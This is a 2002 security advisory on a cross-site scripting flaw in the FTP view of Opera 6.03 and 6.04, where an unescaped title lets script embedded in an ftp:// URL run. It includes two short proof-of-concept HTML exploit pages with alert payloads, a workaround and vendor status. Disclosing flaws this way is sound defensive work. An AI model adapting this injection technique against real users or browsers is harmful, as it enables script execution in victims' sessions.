[NEWS] Opera FTP View Cross-Site Scripting Vulnerability

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Date: 08/10/02


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  Opera FTP View Cross-Site Scripting Vulnerability
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SUMMARY

Opera allows running Malicious Scripts due to a bug in 'FTP view' feature.
If you click on a malicious link, the script embedded in URL will run.

DETAILS

Vulnerable systems:
 * Opera version 6.03
 * Opera version 6.04

This problem is in 'FTP view' feature. The '<title>URL</title>' is not
escaped, allowing embedding of malicious HTML and JavaScript code.

Exploit code:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>

Another exploit:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>

Demonstration:
 <http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html>
http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html

Workaround:
Disable JavaScript.

Vendor status:
Opera Software ASA was notified on 30 June 2002.

ADDITIONAL INFORMATION

The information has been provided by <mailto:ptrs-ejy@bp.iij4u.or.jp>
Eiji James Yoshida.

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